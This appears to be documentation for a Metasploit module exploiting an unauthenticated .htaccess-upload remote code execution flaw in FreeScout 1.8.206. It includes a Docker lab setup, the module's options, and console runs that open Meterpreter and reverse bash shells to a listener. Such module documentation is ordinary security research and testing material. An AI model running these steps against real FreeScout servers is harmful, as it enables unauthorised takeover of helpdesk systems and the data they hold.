## Vulnerable Application

This module exploits an unauthenticated remote code execution vulnerability in
FreeScout <= 1.8.206 (CVE-2026-28289). The `sanitizeUploadedFileName()` function
checks for dot-prefixed filenames before stripping Unicode format characters
(ZWSP U+200B), creating a TOCTOU condition that allows `.htaccess` upload via
email attachment.

The exploit sends a crafted email with a ZWSP-prefixed `.htaccess` attachment
to a FreeScout mailbox. When FreeScout fetches the email via IMAP/POP3 polling,
the ZWSP is stripped and the file is stored as `.htaccess`. The file uses
Apache's `SetHandler` directive to make itself executable as PHP.

### Docker Setup

```bash
mkdir freescout-lab && cd freescout-lab
```

Create `mailpit-auth.txt`:

```
support@freescout.local:password
```

Create `docker-compose.yml`:

```yaml
services:
  app:
    build:
      context: .
      args:
        FREESCOUT_VERSION: "1.8.206"
    container_name: freescout-lab
    ports:
      - "8889:80"
    depends_on:
      db:
        condition: service_healthy
      mail:
        condition: service_started

  db:
    image: mariadb:10.11
    container_name: freescout-db
    environment:
      MYSQL_DATABASE: freescout
      MYSQL_USER: freescout
      MYSQL_PASSWORD: freescout
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
      interval: 5s
      timeout: 3s
      retries: 10

  mail:
    image: axllent/mailpit:latest
    container_name: freescout-mail
    ports:
      - "8025:8025"
      - "1026:1025"
    volumes:
      - ./mailpit-auth.txt:/auth.txt:ro
    environment:
      MP_SMTP_AUTH_ACCEPT_ANY: 1
      MP_SMTP_AUTH_ALLOW_INSECURE: 1
      MP_POP3_AUTH_FILE: /auth.txt
```

Create `Dockerfile`:

```dockerfile
FROM php:8.1-apache

ARG FREESCOUT_VERSION=1.8.206

RUN apt-get update && apt-get install -y \
    libpng-dev libjpeg-dev libfreetype6-dev libzip-dev libicu-dev \
    libxml2-dev libonig-dev unzip git curl default-mysql-client cron \
    && docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install gd zip intl mbstring xml pdo pdo_mysql bcmath iconv \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /tmp
RUN rm -rf /var/www/html && git clone --depth 1 --branch ${FREESCOUT_VERSION} \
    https://github.com/freescout-helpdesk/freescout.git /var/www/html
WORKDIR /var/www/html

RUN chown -R www-data:www-data /var/www/html \
    && chmod -R 755 /var/www/html/storage /var/www/html/bootstrap/cache

RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf
ENV APACHE_DOCUMENT_ROOT=/var/www/html/public
RUN sed -ri 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf

COPY docker-entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/docker-entrypoint.sh

ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["apache2-foreground"]
```

Create `docker-entrypoint.sh`:

```bash
#!/bin/bash
set -e

echo "[*] Waiting for MySQL..."
until php -r "new PDO('mysql:host=db;dbname=freescout', 'freescout', 'freescout');" 2>/dev/null; do
    sleep 2
done

if [ ! -f /var/www/html/.env ]; then
    echo "[*] Creating .env..."
    cat > /var/www/html/.env << 'EOF'
APP_URL=http://localhost:8889
APP_KEY=base64:RDsOPJLEGKDP8BPkWmgbAgDrT3VGhns1MiCPSKGBpMo=
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=freescout
DB_USERNAME=freescout
DB_PASSWORD=freescout
APP_DEBUG=true
EOF
    chown www-data:www-data /var/www/html/.env
fi

echo "[*] Running migrations..."
cd /var/www/html
php artisan migrate --force --seed 2>/dev/null || php artisan migrate --force

echo "[*] Creating storage link..."
rm -f /var/www/html/public/storage
ln -s /var/www/html/storage/app /var/www/html/public/storage

echo "[*] Creating admin user and mailbox..."
php -r "
require '/var/www/html/vendor/autoload.php';
\$app = require_once '/var/www/html/bootstrap/app.php';
\$kernel = \$app->make(Illuminate\Contracts\Console\Kernel::class);
\$kernel->bootstrap();

\$u = App\User::firstOrNew(['email' => 'admin@freescout.local']);
\$u->fill([
    'first_name' => 'Admin',
    'last_name'  => 'User',
    'password'   => bcrypt('admin123'),
    'role'       => App\User::ROLE_ADMIN,
    'status'     => App\User::STATUS_ACTIVE,
]);
\$u->save();
echo \"[+] Admin user ready\n\";

\$m = App\Mailbox::firstOrNew(['email' => 'support@freescout.local']);
\$m->name = 'Support';
\$m->email = 'support@freescout.local';
\$m->in_server = 'mail';
\$m->in_port = 1110;
\$m->in_protocol = 2;
\$m->in_encryption = 1;
\$m->in_username = 'support@freescout.local';
\$m->in_password = 'password';
\$m->in_validate_cert = 0;
\$m->ticket_status = 1;
\$m->ticket_assignee = 1;
\$m->out_method = 3;
\$m->out_server = 'mail';
\$m->out_port = 1025;
\$m->out_username = '';
\$m->out_password = '';
\$m->out_encryption = 1;
\$m->save();

try {
    \$m->users()->syncWithoutDetaching([\$u->id]);
} catch (Exception \$e) {}

echo \"[+] Mailbox ready: support@freescout.local (POP3 from mail:1110)\n\";
"

php artisan freescout:clear-cache 2>/dev/null || true
chown -R www-data:www-data /var/www/html/storage

echo "* * * * * www-data /usr/local/bin/php /var/www/html/artisan schedule:run >> /dev/null 2>&1" > /etc/cron.d/freescout
chmod 0644 /etc/cron.d/freescout
service cron start

echo "[+] FreeScout lab ready at http://localhost:8889"
echo "[+] Mailpit UI at http://localhost:8025"
echo "[+] SMTP: localhost:1026 | POP3: mail:1110"
echo "[+] Mailbox: support@freescout.local"
exec "$@"
```

```bash
chmod +x docker-entrypoint.sh
docker compose up -d
```

Wait about 60 seconds for migrations, admin user creation, and mailbox setup.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/freescout_htaccess_rce`
3. `set RHOST 127.0.0.1` (SMTP server)
4. `set RPORT 1026` (SMTP port)
5. `set HTTPHOST 127.0.0.1` (FreeScout web server)
6. `set HTTPPORT 8889` (FreeScout web port)
7. `set MAILTO support@freescout.local`
8. `set LHOST <your-ip>`
9. `check` - verify it returns `Detected`
10. `run` - verify a session opens (may take up to 60s for email fetch)

## Options

### MAILTO

The FreeScout mailbox email address to send the exploit email to. This must be
a valid, configured mailbox in the target FreeScout instance.

### RHOST / RPORT

The SMTP server and port used to deliver the exploit email. These come from the
SMTPDeliver mixin (note: singular `RHOST`, not `RHOSTS`). This can be the
target's own MX server, or any relay that delivers to the mailbox.

### HTTPHOST / HTTPPORT

The FreeScout web server address and port. Used for the check method and to find
the uploaded shell. Separate from RHOST because the SMTP and HTTP targets may
be different hosts. Set `SSL true` for HTTPS targets. The module reads the
server `Date` header to calculate when the next cron cycle will fetch the email.

### FETCH_WAIT (Advanced)

Seconds to wait for the cron fetch cycle. Default is `60` (FreeScout polls every
minute). The module uses the server `Date` header to calculate the exact wait
time; this value is the fallback when the header is absent.

### DIR_COUNTER (Advanced)

Max attachment counter per directory to scan. Default is `3`. On production
instances with many conversations per mailbox, attachments may have higher
counter values. Increase this if the module fails to find the shell.

## Scenarios

### FreeScout 1.8.206 - PHP Meterpreter (Target 0)

```
msf6 > use exploit/multi/http/freescout_htaccess_rce
msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026
RPORT => 1026
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1
HTTPHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889
HTTPPORT => 8889
msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO support@freescout.local
MAILTO => support@freescout.local
msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1
LHOST => 192.168.192.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/freescout_htaccess_rce) > run

[*] Started reverse TCP handler on 192.168.192.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely.
[*] Sending exploit email to support@freescout.local via 127.0.0.1:1026
[+] Exploit email sent
[*] Waiting 15s for next cron fetch cycle...
[+] Shell at /storage/attachment/5/1/1/.htaccess
[*] Sending stage (42137 bytes) to 192.168.192.4
[*] Meterpreter session 1 opened (192.168.192.1:4444 -> 192.168.192.4:50250) at 2026-03-05 17:37:11 +0100

meterpreter >
```

### FreeScout 1.8.206 - Reverse Bash Shell (Target 1)

```
msf6 > use exploit/multi/http/freescout_htaccess_rce
msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026
RPORT => 1026
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1
HTTPHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889
HTTPPORT => 8889
msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO support@freescout.local
MAILTO => support@freescout.local
msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1
LHOST => 192.168.192.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(multi/http/freescout_htaccess_rce) > run

[*] Started reverse TCP handler on 192.168.192.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely.
[*] Sending exploit email to support@freescout.local via 127.0.0.1:1026
[+] Exploit email sent
[*] Waiting 13s for next cron fetch cycle...
[+] Shell at /storage/attachment/9/3/1/.htaccess
[*] Command shell session 2 opened (192.168.192.1:4444 -> 192.168.192.4:41830) at 2026-03-05 17:42:35 +0100

sh-5.2$
```

### FreeScout 1.8.206 - Linux Dropper Meterpreter (Target 2)

```
msf6 > use exploit/multi/http/freescout_htaccess_rce
msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026
RPORT => 1026
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1
HTTPHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889
HTTPPORT => 8889
msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO support@freescout.local
MAILTO => support@freescout.local
msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1
LHOST => 192.168.192.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set TARGET 2
TARGET => 2
msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/freescout_htaccess_rce) > run

[*] Started reverse TCP handler on 192.168.192.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely.
[*] Sending exploit email to support@freescout.local via 127.0.0.1:1026
[+] Exploit email sent
[*] Waiting 24s for next cron fetch cycle...
[+] Shell at /storage/attachment/7/4/1/.htaccess
[*] Command Stager progress - 100.00% done (817/817 bytes)
[*] Meterpreter session 3 opened (192.168.192.1:4444 -> 192.168.192.4:52100) at 2026-03-05 17:48:02 +0100

meterpreter >
```
